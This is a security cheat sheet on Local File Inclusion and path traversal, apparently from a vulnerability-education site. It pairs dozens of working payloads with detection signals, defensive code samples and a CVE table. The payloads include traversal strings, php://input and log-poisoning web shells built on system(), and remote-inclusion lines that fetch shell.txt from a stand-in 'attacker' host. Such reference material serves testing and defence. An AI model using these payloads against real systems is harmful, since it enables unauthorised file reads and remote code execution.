Vulnsy
All cheat sheets

Local File Inclusion Cheat Sheet

highOWASP Top 10 A03CWE-22CWE-73CWE-98

Local File Inclusion (LFI) and path traversal abuse user-controlled file paths to read or execute files outside the intended directory. This cheat sheet covers the canonical traversal payloads, encoding bypasses, PHP wrappers (php://filter, phar://, data://, expect://), Synacktiv filter-chain LFI2RCE, log and /proc poisoning, RFI variants, and the canonical-path defenses that hold up in 2026.

LFI commonly escalates to remote code execution through PHP filter chains, phar:// metadata deserialization, log poisoning, or /proc/self/environ injection. The most reliable defenses combine an allowlist mapping of file IDs to server-side paths with a base directory plus canonical-path check, and never pass user input directly to include, require, fopen, or File.open.

53 payloads across 8 technique families

Classic ../ traversal

Inject ../ sequences into a path parameter to escape the intended directory. Variants include absolute paths, excess segments, encoding tricks, and trailing-suffix bypasses for filters that strip ".." once.

Detection signals
  • /etc/passwd shape: lines of form <user>:x:<uid>:<gid>:<gecos>:<home>:<shell>; first line typically root:x:0:0:root:/root:/bin/bash.
  • 200 with binary or text body when the parameter contains ".." or "%2e%2e" after URL-decoding.
  • Different response length for ?file=index.php vs ?file=index.php/. — canonicalisation gap.

Linux baseline

Linux
?file=../../../etc/passwd

Walks up from the application directory to root and reads /etc/passwd, which is world-readable on Linux and has a stable shape that confirms the primitive.

Absolute path

Linux
?file=/etc/passwd

Defeats sanitizers that strip ".." but happily accept absolute paths; many template-loader patterns are vulnerable to this exact case.

Windows baseline

Windows
?file=..\..\..\windows\win.ini

Windows-style backslashes plus a tiny predictable target file (win.ini) confirm the primitive and the target OS in one shot.

Excess traversal segments

?file=../../../../../../../../etc/passwd

Most filesystems collapse extra ../ segments at the root; useful when the application prepends an unknown number of directory components.

Base-directory smuggle

?file=/var/www/images/../../../etc/passwd

Defeats validators that require the path to start with an allowed base directory but never canonicalize before the filesystem call.

Once-strip bypass

?file=....//....//etc/passwd

If the sanitizer strips ".." or "../" exactly once, the remaining "..//" collapses back to "../" on second pass through the filesystem.

URL-encoded slash

?file=..%2f..%2f..%2fetc%2fpasswd

Naive substring filters that match literal "../" miss URL-encoded variants that the underlying file API still resolves correctly.

Fully URL-encoded traversal

?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Encodes both dots and slashes; defeats "decode then check" filters that only consider the post-decoded ASCII form.

Double-URL-encoding

?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd

Server decodes once (validation passes), then a downstream component decodes again before reaching the file API, producing valid traversal at the last hop.

Over-long UTF-8 slash

?file=..%c0%af..%c0%afetc%c0%afpasswd

%c0%af is an over-long UTF-8 encoding of "/" that bypasses old IIS and any validator that does not enforce strict UTF-8.

Fullwidth solidus

?file=..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd

U+FF0F fullwidth solidus normalises to "/" under NFKC; validators running on raw bytes accept the input but the OS path API resolves the canonical form.

Null-byte truncation

PHP < 5.3.4
?file=../../../etc/passwd%00.png

On legacy PHP and Perl runtimes, %00 terminates the C-string before the appended ".png" extension is appended, neutralising suffix checks.

Trailing dot-slash

?file=../../../etc/passwd/.

Trailing "/." preserves a "file" shape for validators that require one but is collapsed by the kernel during open() resolution.

Trailing fragment

?file=../../../etc/passwd%23

Languages whose path libraries treat "#" as a fragment delimiter discard everything that follows, dropping any suffix the application planned to append.

Null-byte / extension-trim tricks (legacy)

Older language runtimes and C-string-derived path APIs truncate at NUL bytes, ignore trailing dots, or fail to handle MAX_PATH overflow, exposing the appended-extension class of bypasses.

Detection signals
  • Application logs containing "include(...etc/passwd)" or "fopen(...etc/passwd)" with no .php suffix at the end.
  • Successful read of /etc/passwd on a runtime that explicitly appends an extension to user input.

Null byte before .php append

PHP < 5.3.4
?page=../../../etc/passwd%00

PHP < 5.3.4 and Perl truncate the C-string at NUL before the runtime appends ".php", reading the bare /etc/passwd instead.

Double-encoded null byte

?page=../../../etc/passwd%2500

Useful when a reverse proxy decodes once and forwards the result; the second decode at the application layer produces the truncating NUL.

MAX_PATH overflow

PHP
?page=../../../etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

PHP path APIs silently truncate at MAX_PATH on some platforms, dropping the appended extension when the input fills the buffer.

Trailing dot ignored

?page=../../../etc/passwd.

Some filesystems strip a trailing dot during resolution, defeating logic that appends ".php" because the result still resolves to the bare file.

Slash truncation (Windows)

Windows
?page=../../../etc/passwd/././././

Long sequences of "/." entries cause some Windows path normalisers to truncate, dropping the ".php" appended after the user input.

PHP wrapper bypasses (php://filter / phar:// / data:// / expect://)

PHP exposes stream wrappers that turn an LFI primitive into source disclosure or arbitrary code execution. Filter chains pioneered by Synacktiv work even without allow_url_include.

Detection signals
  • Body starts with "<?php" followed by namespace / use / class declarations after a php://filter request.
  • Base64-decoded blob starts with "<?php" — confirms php://filter base64-encode succeeded.
  • Application errors mentioning fopen(), include(), require(), file_get_contents() paired with the file parameter.

php://filter base64 source disclosure

PHP
?file=php://filter/convert.base64-encode/resource=index.php

Reads the PHP source as base64 without executing it, perfect for source recon and finding additional vulnerabilities.

php://filter on system file

PHP
?file=php://filter/read=convert.base64-encode/resource=/etc/passwd

Same wrapper applied to a system file; useful when binary or non-printable bytes break the response.

php://input RCE

PHP allow_url_include=On
?file=php://input

When allow_url_include=On, the request body is treated as PHP source. POST <?php system($_GET['c']); ?> and trigger via ?c=id.

data:// inline base64 PHP

PHP allow_url_include=On
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

Decodes to <?php phpinfo(); ?> and executes inline; needs allow_url_include=On but does not require any external host.

expect:// command execution

PHP + PECL expect
?file=expect://id

Triggers the PECL expect extension; rare in production but immediate RCE wherever it is installed.

zip:// nested include

PHP
?file=zip:///tmp/upload.zip%23shell.php

Includes a file inside a ZIP that the attacker uploaded; the wrapper splits at "#" and selects the inner entry to execute.

phar:// metadata deserialization

PHP
?file=phar:///tmp/upload.phar/test.txt

Any filesystem function call on a phar:// URL triggers metadata unserialize, firing any matching PHP gadget chain in scope.

Synacktiv filter-chain LFI2RCE

PHP
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-decode/resource=php://temp

Chains convert.iconv plus base64-decode plus base64-encode to coerce arbitrary bytes from any opened resource and feed the result back into include — RCE without allow_url_include and without writing a file.

UTF7 padding fixup

PHP
?file=php://filter/convert.iconv.UTF7.UTF8/resource=...

Re-encodes the chain output to drop "=" padding and align Base64 bytes to the attacker-controlled value sequence.

string.rot13 source read

PHP
?file=php://filter/string.rot13/resource=index.php

ROT13 transforms the source so PHP cannot interpret it, leaking the file contents without executing them — handy when the application errors on raw <?php tags in output.

glob:// directory enumeration

PHP
?file=glob:///var/www/html/*

glob:// expands shell-style wildcards, enabling directory enumeration through any function that opens streams.

Log poisoning to RCE

Inject PHP into a log file the application later includes. Any logged endpoint that records User-Agent, request path, SSH banner, or SMTP body becomes an injection sink when the log path is includable.

Detection signals
  • Successful include of /var/log/apache2/access.log, /var/log/auth.log, or /var/mail/<user>.
  • Response contains command output (id, uname -a, whoami) in the include body — RCE confirmed.

Apache access.log User-Agent

Apache
User-Agent: <?php system($_GET["c"]); ?>

Sends a request whose User-Agent header is logged verbatim into access.log. Any subsequent include of access.log executes the embedded PHP.

Include the access log

Apache
?file=../../../var/log/apache2/access.log&c=id

Pulls the poisoned log into the application; the embedded <?php tag executes inline and the c parameter selects the command.

SSH auth log poisoning

OpenSSH
ssh '<?php system($_GET[0]); ?>'@target

Failed SSH login banners are stored in /var/log/auth.log; injecting PHP via the SSH username writes attacker-controlled bytes into a log the include sink can reach.

Include auth.log

Linux
?file=/var/log/auth.log&c=id

Pairs with the poisoned SSH banner; same RCE primitive against an alternate log path that is often readable when access.log is locked down.

Mail spool poisoning

Postfix / sendmail
SMTP RCPT TO: user, DATA: <?php system($_GET["c"]); ?>

Mail bodies for local users land in /var/mail/<user> and are readable by the web user on permissive default configs.

Self-log via /proc/self/fd

Linux
?file=/proc/self/fd/<n>&c=id

Useful when the access.log path is unknown but the worker process holds the log open as file descriptor N — works against custom logging setups.

/proc/self/environ to RCE

When /proc/self/environ is world-readable and the include sink is the running PHP process, injecting PHP via the User-Agent header and including the env file produces RCE without writing anywhere on disk.

Detection signals
  • /proc/self/status: Name:, Tgid:, Uid:, Gid: colon-aligned key/value table.
  • /proc/self/cmdline: NUL-separated string starting with the binary path.
  • Response containing HTTP_USER_AGENT followed by attacker-controlled command output.

User-Agent injection plus environ include

Linux + legacy kernel
?file=/proc/self/environ&c=id (with User-Agent: <?php system($_GET["c"]); ?>)

/proc/self/environ exposes HTTP_USER_AGENT verbatim; including it into the running PHP process executes the injected tag.

/proc/self/cmdline credential leak

Linux
?file=/proc/self/cmdline

Sometimes leaks credentials passed on the command line (DB DSNs, API keys) when the supervisor spawns the process with secrets in argv.

/proc/self/fd/0 stdin race

PHP-FPM
?file=/proc/self/fd/0

The worker's stdin file descriptor — useful for FastCGI / FPM races where the attacker can feed bytes into the pipe.

/proc/<pid>/cmdline (containers)

Containers
?file=/proc/<pid>/cmdline

In containerised PHP/Java apps, log poisoning often shifts to inspecting container PIDs whose cmdline includes secrets passed at exec time.

RFI variants (HTTP / SMB / FTP)

Remote File Inclusion when allow_url_include=On lets the include() target be a remote URL. On Windows, UNC paths smuggle remote includes even when allow_url_* is off because the path looks "local" to the runtime.

Detection signals
  • Outbound HTTP / FTP / SMB connection from the web worker to an attacker-controlled host moments after a request that contained a scheme-prefixed include parameter.
  • PHP errors mentioning "failed to open stream: HTTP request failed" — RFI attempted.

Classic HTTP RFI

PHP allow_url_include=On
?file=http://attacker/shell.txt

Fetches attacker-hosted PHP and executes it inline; the canonical RFI payload from the allow_url_include=On era.

Scheme-relative RFI

PHP
?file=//attacker/shell.txt

Some applications prepend "https:" to user input; scheme-relative paths still resolve to the attacker host.

Windows UNC include

Windows
?file=\\attacker\share\shell.php

UNC paths look like local filesystem calls, so include() honours them even when allow_url_include=Off — works on Windows IIS and Apache hosts.

FTP RFI

PHP allow_url_include=On
?file=ftp://attacker/shell.txt

Alternate scheme handler that some applications fail to blocklist alongside http:// and https://.

Windows-vs-Linux quirks

Per-OS path quirks that defeat naive validators — Windows accepts both / and \, has reserved names, UNC paths, 8.3 short-name aliases, and a case-insensitive filesystem; Linux exposes /proc virtual files and is strictly case-sensitive.

Detection signals
  • Windows boot.ini: [boot loader] + [operating systems] headers.
  • Windows win.ini: [fonts], [extensions], [mci extensions] headers; "; for 16-bit app support" comment.
  • Path normaliser failures in application logs ("path too long", "invalid path syntax").

Windows backslash path

Windows
?file=..\..\..\windows\system32\drivers\etc\hosts

Backslash-only path slips past validators that only filter forward slashes; Windows resolves both delimiters identically.

URL-encoded backslash

Windows
?file=..%5c..%5c..%5cboot.ini

Encoded backslashes evade substring filters and target XP-era marker files that confirm the OS at a glance.

Absolute Windows path

Windows
?file=C:\Windows\win.ini

Defeats relative-only filters and confirms the primitive against a tiny predictable target file.

8.3 short-name alias

Windows
?file=PROGRA~1\appname\config.xml

Bypasses long-name allowlists since the 8.3 alias resolves to the same file on disk.

Win32 long-path prefix

Windows
?file=\\?\C:\windows\win.ini

The \\?\ prefix tells the Win32 API to skip MAX_PATH normalisation, evading validators that depend on canonicalisation rejecting overlong inputs.

Trailing-slash stat bypass (Linux)

Linux
?file=/etc/passwd/

Some validators stat the path and reject directories; open() accepts the trailing slash on a regular file in certain libc paths, exposing the read.

PHP wrapper RCE chains (modern)

Modern PHP-specific chains turn a pure file-read primitive into RCE without writing a file or enabling allow_url_include — the relevant bar for 2024-2026 testing.

Detection signals
  • Application logs containing phar://, php://filter with long iconv chains, or php://temp.
  • Successful upload of a polyglot file (image + phar) followed by a request that triggers any FS function on it.

phar-in-JPG polyglot

PHP
?file=phar://uploads/avatar.jpg/x

A polyglot file that is both a valid JPEG and a valid phar; metadata unserialize fires when any FS function opens the phar:// URL, executing whatever gadget chain is in scope.

php_filter_chain_generator output

PHP
?file=php://filter/<long iconv chain>/resource=php://temp

Synacktiv's tool emits a long iconv chain that synthesises arbitrary PHP from nothing, then feeds it into include — RCE without writing a file or enabling remote includes.

wrapwrap prefix/suffix chain

PHP
?file=php://filter/<wrapwrap chain>/resource=...

Lexfo's wrapwrap technique adds controlled prefix and suffix bytes around the target file content, satisfying parsers (XML, JSON, PNG header) that gate the include.

Modern bypasses (2023–2026)

PHP filter-chain LFI2RCE (Synacktiv)

Chain convert.iconv plus convert.base64-decode plus convert.base64-encode to coerce arbitrary bytes from any opened resource (including php://temp) and feed the result back into include. Works without allow_url_include and without writing a file. Tooling: synacktiv/php_filter_chain_generator.

?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-decode/resource=php://temp

wrapwrap (Lexfo, 2024)

Extension of the filter-chain technique that prepends and appends arbitrary bytes around the target file content. Used to satisfy strict parsers (XML, JSON, PNG headers) that gate the include sink — turning the chain into a much more reliable LFI2RCE primitive.

phar:// deserialization without explicit unserialize()

Any FS function call (file_exists, fopen, file_get_contents, md5_file, filesize, getimagesize) on a phar:// URL triggers metadata deserialization. Polyglot phar-in-JPG turns a benign image upload plus LFI sink into RCE via any matching gadget chain. Original: Sam Thomas, BH USA 2018; still actively exploited in 2024-2026.

phar://uploads/avatar.jpg/x

Unicode and encoding bypasses for path filters

Fullwidth solidus (U+FF0F → %ef%bc%8f), over-long UTF-8 (%c0%af), Right-to-Left override, and NFKC-normalisation rounds where validation runs on raw bytes but the OS path API normalises to the canonical form. Recurrent across Go, Python, .NET, and Node libraries — CVE-2024-13059 (AnythingLLM via multer) is a recent Node example.

Container / kubelet log targets

In containerised PHP/Java apps, includable log paths shift to /var/log/containers/<pod>_<ns>_<container>-<id>.log and /proc/<pid>/cmdline. Log-poisoning still works if logs are bind-mounted into the application container, just at a different path than classic Apache/Nginx attacks.

Spring functional routes path traversal (CVE-2024-38819)

Functional WebMvc.fn / WebFlux.fn route handlers stripped path segments inconsistently, allowing traversal in static-resource serving. A non-PHP example demonstrating that path-traversal bypass patterns are not language-bound.

Static-file serving regressions

LiteStar (CVE-2024-32982), Next.js next/image, and several Go frameworks repeatedly ship static-file handlers that allow ".." in the path before resolving against the configured root. The bug is always the same: missing canonical-path-then-contains check.

Zip Slip in archive extraction

SimpleHelp CVE-2024-57726 — admin-uploaded ZIPs with "../" entries write outside the extraction root. Family includes Tar Slip and PAX-header tricks; weaponised in the wild and listed on CISA KEV in January 2025.

Defences

Map IDs to server-side paths — never include user input directly

Never pass user input to include / require / fopen / File.open / readFile. Use a server-side mapping table from a known ID to a fixed path. Eliminates the entire path-traversal class because the path never travels through user input.

// Bad: user input drives the path.
const { name } = request.query;
return fs.readFile('/var/lib/docs/' + name + '.html');

// Good: ID maps to a fixed path.
const DOCS: Record<string, string> = {
  'manual': '/var/lib/docs/manual.html',
  'release-notes': '/var/lib/docs/release-notes.html',
};
const { id } = request.query;
const path = DOCS[id];
if (!path) return new Response('not found', { status: 404 });
return fs.readFile(path);

Base directory plus canonical-path check

When a path must be derived from user input, resolve the candidate to an absolute canonical path and verify it starts with the configured base directory and is on the same filesystem. The canonical-then-contains check is the only defence that holds up against Unicode and double-encoding bypasses.

import java.io.File;
import java.io.IOException;
import java.nio.file.Path;

public File safeResolve(String userInput) throws IOException {
    File baseDir = new File("/var/lib/docs").getCanonicalFile();
    File requested = new File(baseDir, userInput).getCanonicalFile();
    Path basePath = baseDir.toPath();
    if (!requested.toPath().startsWith(basePath)) {
        throw new SecurityException("path escapes base dir: " + requested);
    }
    return requested;
}

Disable PHP allow_url_include and allow_url_fopen

Eliminates the entire RFI class and most data:// / php://input chains in one setting. Where possible, also restrict phar:// — rely on --disable-phar in PHP builds or PHP 8 stream-wrapper restrictions, since disable_functions cannot stop wrapper-based deserialization.

; /etc/php/8.3/fpm/php.ini
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html:/tmp
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,expect_open
; In PHP 8.x with custom builds, also disable phar wrapper:
; --disable-phar at compile time, or restrict via stream_wrapper_unregister.

Allowlist filenames or use random storage names

If user input drives a filename, allowlist to a known set, or hash/UUID the storage filename and store the original name as metadata. Prevents the attacker from ever naming the file the application opens.

import { randomUUID } from 'node:crypto';
import path from 'node:path';

export async function storeUpload(originalName: string, contents: Buffer) {
  const ext = path.extname(originalName).toLowerCase();
  if (!['.png', '.jpg', '.pdf'].includes(ext)) {
    throw new Error('extension not allowed');
  }
  const storedName = randomUUID() + ext;
  const storedPath = path.join('/srv/uploads', storedName);
  await fs.writeFile(storedPath, contents);
  await db.insert(uploads).values({ storedName, originalName });
  return storedName;
}

Normalise to NFKC then re-validate

Run user input through Unicode NFKC normalisation, then re-check for forbidden sequences. Any path component containing "..", NUL, control chars, fullwidth equivalents, or backslash on Linux is rejected outright before the path reaches the filesystem.

Run with least privilege and ProtectSystem

Run the web process as a low-privilege user; chroot or use systemd ProtectSystem=strict / ReadOnlyPaths so /etc/shadow, /proc/self/environ, /var/mail, and /var/log are unreadable. Reduces blast radius even when an LFI primitive exists.

Mount upload directories noexec

Use immutable container images and mount user-uploaded paths noexec. phar-via-image-upload becomes much harder when the upload directory is on a noexec mount and the include sink rejects non-allowlisted prefixes.

Strip control characters from log inputs

Strip control characters from User-Agent, Referer, and any other header before writing to logs. Better: use structured / JSON logs that escape "<", ">", and "?". Neutralises log poisoning even if an attacker reaches a log path through traversal.

Detect suspicious include paths

Alert on includes of paths under /proc/self/, /var/log/, /var/mail/, or any path containing "..", "%00", php://, phar://, data://, expect://, zip://. These almost never appear in benign traffic and are a high-signal LFI indicator.

Real-world CVEs

CVEYearTitleDescription
CVE-2024-29282024MLflow pre-auth LFIPre-auth arbitrary file read via URI fragment manipulation in MLflow ≤ 2.11.2. Demonstrated against AI-platform deployments where MLflow holds model artefacts and credentials.
CVE-2024-329822024LiteStar / Starlite static-files path traversalStatic-file mount allowed escape outside the configured directory due to insufficient canonicalisation before resolving the requested path.
CVE-2024-388192024Spring Framework path traversal in WebMvc.fn / WebFlux.fnFunctional route handlers serving static resources stripped path segments inconsistently, exposing files outside the configured root.
CVE-2024-130592024AnythingLLM path traversal to RCENon-ASCII filename handling in the multer Node library led to traversal and RCE in AnythingLLM versions before 1.3.1. Disclosed Feb 2025; a recent Node-side filter-chain-style bypass.
CVE-2024-577262024SimpleHelp Zip SlipAdmin-only file write anywhere via crafted ZIP entries with "../" prefixes. Subsequently weaponised in the wild and listed on CISA KEV in January 2025.
CVE-2024-35732024MLflow path traversal (additional primitive)A second path-traversal primitive in MLflow disclosed alongside CVE-2024-2928. Shows how a single project can ship multiple traversal sinks before audit catches them.
Synacktiv filter-chain LFI2RCE2024PHP filter chain — pure-LFI to RCE without allow_url_includeSynacktiv published a chain of convert.iconv plus convert.base64-decode plus convert.base64-encode that turns any include() of a php://filter URL into RCE without writing a file. The technique drives a wave of 2024-2026 PHP RCE chains.
Lexfo wrapwrap2024wrapwrap — prefix/suffix filter chains for parser-strict LFI sinksLexfo extended the Synacktiv chain with controlled prefix and suffix bytes so the include can satisfy strict XML/JSON/PNG parsers gating the sink. Re-enabled filter-chain RCE in many otherwise-mitigated 2024 targets.

Further reading